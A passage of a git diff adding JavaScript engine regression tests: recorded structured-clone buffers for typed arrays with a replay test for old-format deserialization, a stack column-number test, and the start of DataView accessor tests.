false); + assertEq("prop" in a[1].buffer, false); + assertEq("loop" in a[0].buffer, false); + assertEq("loop" in a[1].buffer, false); + assertEq("loops" in a[0].buffer, false); + assertEq("loops" in a[1].buffer, false); +} + +test(); +reportCompare(0, 0, 'ok'); diff --git a/js/src/tests/js1_8_5/extensions/clone-v1-typed-array-data.dat b/js/src/tests/js1_8_5/extensions/clone-v1-typed-array-data.dat new file mode 100644 index 000000000..9ced34100 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-v1-typed-array-data.dat @@ -0,0 +1,32 @@ +var captured = []; +captured[0] = serialize(0); captured[0].clonebuffer = String.fromCharCode(0, 0, 0, 0, 9, 0, 255, 255); +captured[1] = serialize(0); captured[1].clonebuffer = String.fromCharCode(7, 0, 0, 0, 9, 0, 255, 255, 0, 0, 0, 0, 0, 0, 0, 0); +captured[2] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[3] = serialize(0); captured[3].clonebuffer = String.fromCharCode(0, 0, 0, 0, 0, 1, 255, 255); +captured[4] = serialize(0); captured[4].clonebuffer = String.fromCharCode(100, 0, 0, 0, 0, 1, 255, 255, 1, 7, 49, 87, 97, 167, 145, 247, 193, 71, 241, 151, 33, 231, 81, 55, 129, 135, 177, 216, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); +captured[5] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[6] = serialize(0); captured[6].clonebuffer = String.fromCharCode(0, 0, 0, 0, 1, 1, 255, 255); +captured[7] = serialize(0); captured[7].clonebuffer = String.fromCharCode(100, 0, 0, 0, 1, 1, 255, 255, 1, 7, 49, 87, 97, 167, 145, 247, 193, 71, 241, 151, 33, 231, 81, 55, 129, 135, 177, 216, 224, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); +captured[8] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[9] = serialize(0); captured[9].clonebuffer = String.fromCharCode(0, 0, 0, 0, 2, 1, 255, 255); +captured[10] = serialize(0); captured[10].clonebuffer = String.fromCharCode(100, 0, 0, 0, 2, 1, 255, 255, 1, 0, 7, 0, 49, 0, 87, 1, 97, 9, 167, 65, 145, 203, 247, 144, 193, 246, 71, 191, 241, 58, 151, 156, 33, 72, 231, 248, 81, 206, 55, 164, 129, 125, 135, 110, 177, 5, 216, 39, 224, 22, 0, 160, 0, 96, 0, 160, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); +captured[11] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[12] = serialize(0); captured[12].clonebuffer = String.fromCharCode(0, 0, 0, 0, 3, 1, 255, 255); +captured[13] = serialize(0); captured[13].clonebuffer = String.fromCharCode(100, 0, 0, 0, 3, 1, 255, 255, 1, 0, 7, 0, 49, 0, 87, 1, 97, 9, 167, 65, 145, 203, 247, 144, 193, 246, 71, 191, 241, 58, 151, 156, 33, 72, 231, 248, 81, 206, 55, 164, 129, 125, 135, 110, 177, 5, 216, 39, 224, 22, 0, 160, 0, 96, 0, 160, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); +captured[14] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[15] = serialize(0); captured[15].clonebuffer = String.fromCharCode(0, 0, 0, 0, 4, 1, 255, 255); +captured[16] = serialize(0); captured[16].clonebuffer = String.fromCharCode(100, 0, 0, 0, 4, 1, 255, 255, 1, 0, 0, 0, 7, 0, 0, 0, 49, 0, 0, 0, 87, 1, 0, 0, 97, 9, 0, 0, 167, 65, 0, 0, 145, 203, 1, 0, 247, 144, 12, 0, 193, 246, 87, 0, 71, 191, 103, 2, 241, 58, 214, 16, 151, 156, 219, 117, 33, 72, 1, 57, 231, 248, 8, 143, 81, 206, 62, 233, 55, 164, 183, 96, 129, 125, 5, 165, 135, 110, 38, 131, 177, 5, 13, 150, 216, 39, 91, 26, 224, 22, 126, 184, 0, 160, 114, 11, 0, 96, 34, 80, 0, 160, 240, 48, 0, 128, 148, 86, 0, 0, 16, 94, 0, 0, 112, 146, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); +captured[17] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[18] = serialize(0); captured[18].clonebuffer = String.fromCharCode(0, 0, 0, 0, 5, 1, 255, 255); +captured[19] = serialize(0); captured[19].clonebuffer = String.fromCharCode(100, 0, 0, 0, 5, 1, 255, 255, 1, 0, 0, 0, 7, 0, 0, 0, 49, 0, 0, 0, 87, 1, 0, 0, 97, 9, 0, 0, 167, 65, 0, 0, 145, 203, 1, 0, 247, 144, 12, 0, 193, 246, 87, 0, 71, 191, 103, 2, 241, 58, 214, 16, 151, 156, 219, 117, 33, 72, 1, 57, 231, 248, 8, 143, 81, 206, 62, 233, 55, 164, 183, 96, 129, 125, 5, 165, 135, 110, 38, 131, 177, 5, 13, 150, 216, 39, 91, 26, 224, 22, 126, 184, 0, 160, 114, 11, 0, 96, 34, 80, 0, 160, 240, 48, 0, 128, 148, 86, 0, 0, 16, 94, 0, 0, 112, 146, 0, 0, 0, 1, 0, 0, 0, 8, 0, 0, 0, 64, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0); +captured[20] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[21] = serialize(0); captured[21].clonebuffer = String.fromCharCode(0, 0, 0, 0, 6, 1, 255, 255); +captured[22] = serialize(0); captured[22].clonebuffer = String.fromCharCode(100, 0, 0, 0, 6, 1, 255, 255, 0, 0, 128, 63, 0, 0, 224, 64, 0, 0, 68, 66, 0, 128, 171, 67, 0, 16, 22, 69, 0, 78, 131, 70, 128, 200, 229, 71, 112, 15, 73, 73, 130, 237, 175, 74, 210, 239, 25, 76, 216, 177, 134, 77, 57, 183, 235, 78, 82, 64, 78, 80, 72, 120, 180, 81, 63, 233, 29, 83, 23, 44, 138, 84, 40, 205, 241, 85, 131, 147, 83, 87, 19, 33, 185, 88, 240, 252, 33, 90, 82, 189, 141, 91, 80, 11, 248, 92, 230, 9, 89, 94, 169, 232, 189, 95, 148, 43, 38, 97, 34, 102, 145, 98, 187, 114, 254, 99, 100, 164, 94, 101, 215, 207, 194, 102, 220, 117, 42, 104, 33, 39, 149, 105, 61, 130, 2, 107, 234, 99, 100, 108, 109, 215, 199, 109, 127, 220, 46, 111, 239, 0, 153, 112, 209, 224, 5, 114, 110, 73, 106, 115, 65, 0, 205, 116, 57, 96, 51, 118, 49, 244, 156, 119, 171, 85, 9, 121, 236, 85, 112, 122, 46, 75, 210, 123, 200, 1, 56, 125, 143, 1, 161, 126, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 128, 127, 0, 0, 192, 127); +captured[23] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[24] = serialize(0); captured[24].clonebuffer = String.fromCharCode(0, 0, 0, 0, 7, 1, 255, 255); +captured[25] = serialize(0); captured[25].clonebuffer = String.fromCharCode(100, 0, 0, 0, 7, 1, 255, 255, 0, 0, 0, 0, 0, 0, 240, 63, 0, 0, 0, 0, 0, 0, 28, 64, 0, 0, 0, 0, 0, 128, 72, 64, 0, 0, 0, 0, 0, 112, 117, 64, 0, 0, 0, 0, 0, 194, 162, 64, 0, 0, 0, 0, 192, 105, 208, 64, 0, 0, 0, 0, 16, 185, 252, 64, 0, 0, 0, 0, 238, 33, 41, 65, 0, 0, 0, 64, 176, 253, 85, 65, 0, 0, 0, 56, 250, 61, 131, 65, 0, 0, 0, 241, 58, 214, 176, 65, 0, 0, 192, 37, 231, 118, 221, 65, 0, 0, 8, 65, 10, 200, 9, 66, 0, 0, 231, 248, 8, 143, 54, 66, 0, 32, 202, 217, 39, 189, 99, 66, 0, 220, 144, 222, 130, 69, 145, 66, 0, 129, 125, 5, 165, 57, 190, 66, 224, 208, 205, 100, 112, 114, 234, 66, 196, 22, 52, 88, 34, 36, 23, 67, 236, 147, 45, 13, 158, 63, 68, 67, 110, 225, 135, 75, 170, 183, 113, 67, 128, 202, 45, 4, 106, 1, 159, 67, 48, 17, 168, 195, 60, 33, 203, 67, 10, 15, 51, 43, 21, 189, 247, 67, 41, 173, 204, 133, 114, 197, 36, 68, 132, 23, 19, 53, 196, 44, 82, 68, 39, 105, 225, 92, 87, 206, 127, 68, 2, 60, 69, 113, 140, 212, 171, 68, 130, 148, 28, 227, 250, 89, 216, 68, 242, 1, 185, 134, 187, 78, 5, 69, 180, 225, 225, 21, 228, 164, 50, 69, 126, 165, 37, 147, 71, 80, 96, 69, 156, 225, 129, 65, 125, 140, 140, 69, 104, 165, 81, 153, 237, 250, 184, 69, 187, 112, 39, 230, 143, 219, 229, 69, 164, 130, 98, 233, 29, 32, 19, 70, 80, 50, 54, 44, 26, 188, 64, 70, 12, 216, 94, 205, 45, 73, 109, 70, 10, 253, 178, 19, 8, 160, 153, 70, 105, 157, 60, 17, 7, 108, 198, 70, 188, 9, 21, 47, 134, 158, 243, 70, 132, 104, 50, 105, 181, 42, 33, 71, 231, 54, 24, 120, 189, 10, 78, 71, 10, 48, 21, 201, 101, 73, 122, 71, 9, 138, 242, 15, 57, 0, 167, 71, 200, 56, 244, 237, 49, 32, 212, 71, 175, 177, 53, 176, 43, 156, 1, 72, 242, 246, 93, 116, 76, 209, 46, 72, 20, 56, 210, 229, 34, 247, 90, 72, 18, 241, 23, 137, 62, 152, 135, 72, 240, 242, 244, 183, 54, 165, 180, 72, 146, 84, 246, 224, 143, 16, 226, 72, 0, 20, 175, 201, 251, 156, 15, 73, 128, 49, 121, 80, 92, 169, 59, 73, 80, 11, 106, 198, 48, 52, 104, 73, 230, 201, 156, 173, 170, 45, 149, 73, 169, 48, 233, 87, 245, 135, 194, 73, 148, 10, 236, 172, 246, 54, 240, 73, 131, 18, 157, 174, 47, 96, 28, 74, 51, 112, 201, 184, 41, 212, 72, 74, 45, 66, 176, 129, 164, 185, 117, 74, 231, 57, 122, 241, 111, 2, 163, 74, 170, 242, 74, 243, 33, 162, 208, 74, 170, 40, 195, 105, 187, 27, 253, 74, 149, 195, 138, 252, 67, 120, 41, 75, 34, 107, 249, 124, 59, 73, 86, 75, 190, 61, 90, 13, 20, 128, 131, 75, 6, 246, 174, 139, 17, 16, 177, 75, 138, 46, 114, 180, 30, 220, 221, 75, 185, 232, 227, 221, 154, 32, 10, 76, 162, 107, 39, 130, 135, 220, 54, 76, 46, 126, 226, 145, 246, 0, 100, 76, 104, 46, 166, 191, 215, 128, 145, 76, 54, 209, 98, 143, 121, 161, 190, 76, 15, 119, 118, 93, 74, 205, 234, 76, 45, 168, 199, 17, 161, 115, 23, 77, 39, 179, 142, 239, 44, 133, 68, 77, 194, 220, 156, 81, 135, 244, 113, 77, 84, 130, 210, 206, 236, 107, 159, 77, 10, 50, 248, 52, 111, 126, 203, 77, 201, 43, 89, 78, 161, 14, 248, 77, 80, 6, 142, 36, 205, 12, 37, 78, 134, 69, 252, 127, 51, 107, 82, 78, 213, 188, 252, 15, 205, 29, 128, 78, 117, 74, 250, 219, 38, 52, 172, 78, 38, 1, 123, 0, 162, 173, 216, 78, 1, 161, 107, 192, 237, 151, 5, 79, 225, 44, 94, 8, 240, 228, 50, 79, 69, 103, 82, 7, 82, 136, 96, 79, 185, 52, 208, 140, 143, 238, 140, 79, 34, 46, 54, 155, 189, 80, 185, 79, 94, 104, 207, 231, 165, 38, 230, 79, 82, 123, 213, 42, 209, 97, 19, 80, 232, 203, 122, 5, 151, 245, 64, 80, 214, 228, 150, 73, 200, 173, 109, 80, 59, 8, 100, 64, 15, 248, 153, 80, 52, 135, 87, 88, 13, 185, 198, 80, 78, 150, 76, 173, 235, 225, 243, 80, 132, 3, 163, 55, 174, 101, 33, 81, 0, 0, 0, 0, 0, 0, 248, 127); +captured[26] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[27] = serialize(0); captured[27].clonebuffer = String.fromCharCode(0, 0, 0, 0, 8, 1, 255, 255); +captured[28] = serialize(0); captured[28].clonebuffer = String.fromCharCode(100, 0, 0, 0, 8, 1, 255, 255, 1, 7, 49, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 0, 0, 0, 0, 0); +captured[29] = (new TypeError("unsupported type for structured data", "js1_8_5/extensions/clone-v1-typed-array.js", 19)); +captured[30] = serialize(0); captured[30].clonebuffer = String.fromCharCode(0, 0, 0, 0, 7, 0, 255, 255, 0, 0, 0, 0, 3, 0, 255, 255, 3, 0, 0, 0, 0, 1, 255, 255, 0, 1, 2, 0, 0, 0, 0, 0, 1, 0, 0, 0, 3, 0, 255, 255, 3, 0, 0, 0, 0, 1, 255, 255, 1, 2, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255); diff --git a/js/src/tests/js1_8_5/extensions/clone-v1-typed-array.js b/js/src/tests/js1_8_5/extensions/clone-v1-typed-array.js new file mode 100644 index 000000000..e8ba16355 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/clone-v1-typed-array.js @@ -0,0 +1,130 @@ +// |reftest| skip-if(!xulRuntime.shell) +// Any copyright is dedicated to the Public Domain. +// http://creativecommons.org/licenses/publicdomain/ + +// This file is a copy of clone-typed-array.js from before v2 structured clone +// was implemented. If you run this test under a v1-writing engine with the +// environment variable JS_RECORD_RESULTS set, then it will output a log of +// structured clone buffers resulting from running this test. You can then use +// that log as input to another run of this same test on a newer engine, to +// verify that older-format structured clone data can be deserialized properly. + +var old_serialize = serialize; +var captured = []; + +if (os.getenv("JS_RECORD_RESULTS") !== undefined) { + serialize = function(o) { + var data; + try { + data = old_serialize(o); + captured.push(data); + return data; + } catch(e) { + captured.push(e); + throw(e); + } + }; +} else { + loadRelativeToScript("clone-v1-typed-array-data.dat"); + serialize = function(d) { + var data = captured.shift(); + if (data instanceof Error) + throw(data); + else + return data; + }; +} + +function assertArraysEqual(a, b) { + assertEq(a.constructor, b.constructor); + assertEq(a.length, b.length); + for (var i = 0; i < a.length; i++) + assertEq(a[i], b[i]); +} + +function check(b) { + var a = deserialize(serialize(b)); + assertArraysEqual(a, b); +} + +function checkPrototype(ctor) { + var threw = false; + try { + serialize(ctor.prototype); + throw new Error("serializing " + ctor.name + ".prototype should throw a TypeError"); + } catch (exc) { + if (!(exc instanceof TypeError)) + throw exc; + } +} + +function test() { + // Test cloning ArrayBuffer objects. + check(new ArrayBuffer(0)); + check(new ArrayBuffer(7)); + checkPrototype(ArrayBuffer); + + // Test cloning typed array objects. + var ctors = [ + Int8Array, + Uint8Array, + Int16Array, + Uint16Array, + Int32Array, + Uint32Array, + Float32Array, + Float64Array, + Uint8ClampedArray]; + + var b; + for (var i = 0; i < ctors.length; i++) { + var ctor = ctors[i]; + + // check empty array + b = new ctor(0); + check(b); + + // check array with some elements + b = new ctor(100); + var v = 1; + for (var j = 0; j < 100; j++) { + b[j] = v; + v *= 7; + } + b[99] = NaN; // check serializing NaNs too + check(b); + + // try the prototype + checkPrototype(ctor); + } + + // Cloning should separately copy two TypedArrays backed by the same + // ArrayBuffer. This also tests cloning TypedArrays where the arr->data + // pointer is not 8-byte-aligned. + + var base = new Int8Array([0, 1, 2, 3]); + b = [new Int8Array(base.buffer, 0, 3), new Int8Array(base.buffer, 1, 3)]; + var a = deserialize(serialize(b)); + base[1] = -1; + a[0][2] = -2; + assertArraysEqual(b[0], new Int8Array([0, -1, 2])); // shared with base + assertArraysEqual(b[1], new Int8Array([-1, 2, 3])); // shared with base + assertArraysEqual(a[0], new Int8Array([0, 1, -2])); // not shared with base + assertArraysEqual(a[1], new Int8Array([1, 2, 3])); // not shared with base or a[0] +} + +test(); +reportCompare(0, 0, 'ok'); + +if (os.getenv("JS_RECORD_RESULTS") !== undefined) { + print("var captured = [];"); + for (var i in captured) { + var s = "captured[" + i + "] = "; + if (captured[i] instanceof Error) { + print(s + captured[i].toSource() + ";"); + } else { + data = captured[i].clonebuffer.split('').map(c => c.charCodeAt(0)); + print(s + "serialize(0); captured[" + i + "].clonebuffer = String.fromCharCode(" + data.join(", ") + ");"); + } + } +} diff --git a/js/src/tests/js1_8_5/extensions/column-numbers.js b/js/src/tests/js1_8_5/extensions/column-numbers.js new file mode 100644 index 000000000..721b05e9f --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/column-numbers.js @@ -0,0 +1,10 @@ +actual = 'No Error'; +expected = /column-numbers\.js:4:11/; +try { + throw new Error("test"); +} +catch(ex) { + actual = ex.stack; + print('Caught exception ' + ex.stack); +} +reportMatch(expected, actual, 'column number present'); diff --git a/js/src/tests/js1_8_5/extensions/dataview.js b/js/src/tests/js1_8_5/extensions/dataview.js new file mode 100644 index 000000000..dd36e0991 --- /dev/null +++ b/js/src/tests/js1_8_5/extensions/dataview.js @@ -0,0 +1,1635 @@ +// |reftest| skip-if(!xulRuntime.shell) +/* + * Any copyright is dedicated to the Public Domain. + * http://creativecommons.org/licenses/publicdomain/ + * Contributor: Tobias Schneider <schneider@jancona.com> + */ + +//------------------------------------------------------------------------------ +var BUGNUMBER = 575688; +var summary = 'DataView tests'; + +function test() { + function die(message, uplevel) { + var e = new Error(message); + var frame = e.stack.split("\n")[uplevel]; + print(message + " at " + frame.split("@")[1]); + print("Stack:\n" + e.stack); + throw(e); + } + + function checkThrow(fun, type) { + var thrown = false; + try { + fun(); + } catch (x) { + thrown = x; + } + + if (!thrown) { + die('no exception thrown, expected ' + type.name, 2); + } else if (!(thrown instanceof type)) { + die('expected ' + type.name + ', got ' + thrown, 2); + } + } + + function checkThrowTODO(fun, type) { + var thrown = false; + try { + fun(); + } catch (x) { + thrown = x; + } + + if (!thrown) { + print('(TODO) no exception thrown, expected ' + type.name); + } else if (!(thrown instanceof type)) { + print('(TODO) expected ' + type.name + ', got ' + thrown); + } else { + print('test unexpectedly passed: expected ' + type.name + ' exception'); + } + } + + enterFunc ('test'); + printBugNumber(BUGNUMBER); + printStatus(summary); + + // testConstructor + buffer = (new Uint8Array([1, 2])).buffer; + checkThrow(() => new DataView(buffer, 0, 3), RangeError); + checkThrow(() => new DataView(buffer, 1, 2), RangeError); + checkThrow(() => new DataView(buffer, 2, 1), RangeError); + checkThrow(() => new DataView(buffer, 2147483649, 0), RangeError); + checkThrow(() => new DataView(buffer, 0, 2147483649), RangeError); + checkThrow(() => new DataView(), TypeError); + checkThrow(() => new DataView(Object.create(new ArrayBuffer(5))), TypeError); + + // testGetMethods + + // testIntegerGets(start=0, length=16) + var data1 = [0,1,2,3,0x64,0x65,0x66,0x67,0x80,0x81,0x82,0x83,252,253,254,255]; + var data1_r = data1.slice().reverse(); + var buffer1 = new Uint8Array(data1).buffer; + var view1 = new DataView(buffer1, 0, 16); + view = view1; + assertEq(view.getInt8(0), 0); + assertEq(view.getInt8(8), -128); + assertEq(view.getInt8(15), -1); + assertEq(view.getUint8(0), 0); + assertEq(view.getUint8(8), 128); + assertEq(view.getUint8(15), 255); + // Little endian. + assertEq(view.getInt16(0, true), 256); + assertEq(view.getInt16(5, true), 0x6665); + assertEq(view.getInt16(9, true), -32127); + assertEq(view.getInt16(14, true), -2); + // Big endian. + assertEq(view.getInt16(0), 1); + assertEq(view.getInt16(5), 0x6566); + assertEq(view.getInt16(9), -32382); + assertEq(view.getInt16(14), -257); + // Little endian. + assertEq(view.getUint16(0, true), 256); + assertEq(view.getUint16(5, true), 0x6665); + assertEq(view.getUint16(9, true), 0x8281); + assertEq(view.getUint16(14, true), 0xfffe); + // Big endian. + assertEq(view.getUint16(0), 1); + assertEq(view.getUint16(5), 0x6566); + assertEq(view.getUint16(9), 0x8182); + assertEq(view.getUint16(14), 0xfeff); + // Little endian. + assertEq(view.getInt32(0, true), 0x3020100); + assertEq(view.getInt32(3, true), 0x66656403); + assertEq(view.getInt32(6, true), -2122291354); + assertEq(view.getInt32(9, true), -58490239); + assertEq(view.getInt32(12, true), -66052); + // Big endian. + assertEq(view.getInt32(0), 0x10203); + assertEq(view.getInt32(3), 0x3646566); + assertEq(view.getInt32(6), 0x66678081); + assertEq(view.getInt32(9), -2122152964); + assertEq(view.getInt32(12), -50462977); + // Little endian. + assertEq(view.getUint32(0, true), 0x3020100); + assertEq(view.getUint32(3, true), 0x66656403); + assertEq(view.getUint32(6, true), 0x81806766); + assertEq(view.getUint32(9, true), 0xfc838281); + assertEq(view.getUint32(12, true), 0xfffefdfc); + // Big endian. + assertEq(view.getUint32(0), 0x10203); + assertEq(view.getUint32(3), 0x3646566); + assertEq(view.getUint32(6), 0x66678081); + assertEq(view.getUint32(9), 0x818283fc); + assertEq(view.getUint32(12), 0xfcfdfeff); + + // testFloatGets(start=0) + + // testFloatGet expected=10 + // Little endian + var data2 = [0,0,32,65]; + var data2_r = data2.slice().reverse(); + var buffer2 = new Uint8Array(data2).buffer; + view = new DataView(buffer2, 0, 4); + assertEq(view.getFloat32(0, true), 10); + var buffer2_pad3 = new Uint8Array(Array(3).concat(data2)).buffer; + view = new DataView(buffer2_pad3, 0, 7); + assertEq(view.getFloat32(3, true), 10); + var buffer2_pad7 = new Uint8Array(Array(7).concat(data2)).buffer; + view = new DataView(buffer2_pad7, 0, 11); + assertEq(view.getFloat32(7, true), 10); + var buffer2_pad10 = new Uint8Array(Array(10).concat(data2)).buffer; + view = new DataView(buffer2_pad10, 0, 14); + assertEq(view.getFloat32(10, true), 10); + // Big endian. + var buffer2_r = new Uint8Array(data2_r).buffer; + view = new DataView(buffer2_r, 0, 4); + assertEq(view.getFloat32(0, false), 10); + var buffer2_r_pad3 = new Uint8Array(Array(3).concat(data2_r)).buffer; + view = new DataView(buffer2_r_pad3, 0, 7); + assertEq(view.getFloat32(3, false), 10); + var buffer2_r_pad7 = new Uint8Array(Array(7).concat(data2_r)).buffer; + view = new DataView(buffer2_r_pad7, 0, 11); + assertEq(view.getFloat32(7, false), 10); + var buffer2_r_pad10 = new Uint8Array(Array(10).concat(data2_r)).buffer; + view = new DataView(buffer2_r_pad10, 0, 14); + assertEq(view.getFloat32(10, false), 10); + + // 